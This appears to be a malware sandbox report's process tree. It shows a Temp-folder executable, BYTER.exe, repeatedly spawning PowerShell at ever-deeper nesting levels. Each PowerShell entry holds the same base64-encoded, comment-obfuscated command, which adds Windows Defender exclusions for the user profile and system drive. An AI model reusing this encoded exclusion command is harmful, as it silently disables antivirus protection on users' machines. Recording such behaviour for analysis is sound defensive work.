        PID:2644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        88⤵
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        88⤵
        
        PID:5744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        89⤵
        
        PID:4120
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        89⤵
        
        PID:4708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        90⤵
        
        PID:1220
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        90⤵
        
        PID:6204
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        91⤵
        
        PID:3276
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        91⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        92⤵
        
        PID:1348
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        92⤵
        
        PID:3288
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        93⤵
        
        PID:5616
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        93⤵
        
        PID:2488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        94⤵
        
        PID:1640
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        94⤵
        
        PID:2312
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        95⤵
        
        PID:2800
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        95⤵
        
        PID:4640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        96⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        96⤵
        
        PID:6992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        97⤵
        
        PID:3376
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        97⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        98⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        98⤵
        
        PID:5896
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        99⤵
        
        PID:1732
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        99⤵
        
        PID:1508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        100⤵
        
        PID:476
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        100⤵
        
        PID:7012
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        101⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        101⤵
        
        PID:5668
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        102⤵
        
        PID:324
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        102⤵
        
        PID:2436
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        103⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        103⤵
        
        PID:6228
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        104⤵
        
        PID:6716
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        104⤵
        
        PID:4252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        105⤵
        
        PID:5280
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        105⤵
        
        PID:4856
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        106⤵
        
        PID:4844
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        106⤵
        
        PID:7016
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        107⤵
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        107⤵
        
        PID:932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        108⤵
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        108⤵
        
        PID:6064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        109⤵
        
        PID:3616
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        109⤵
        
        PID:5140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        110⤵
        
        PID:2384
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        110⤵
        
        PID:6604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        111⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        111⤵
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        112⤵
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        112⤵
        
        PID:6992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        113⤵
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        113⤵
        
        PID:932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        114⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        114⤵
        
        PID:6012
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        115⤵
        
        PID:4144
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        115⤵
        
        PID:6808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        116⤵
        
        PID:4884
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        116⤵
        
        PID:5304
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        117⤵
        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        117⤵
        
        PID:4168
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        118⤵
        
        PID:3080
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        118⤵
        
        PID:6940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        119⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        119⤵
        
        PID:4904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        120⤵
        
        PID:2756
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        120⤵
        
        PID:5760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
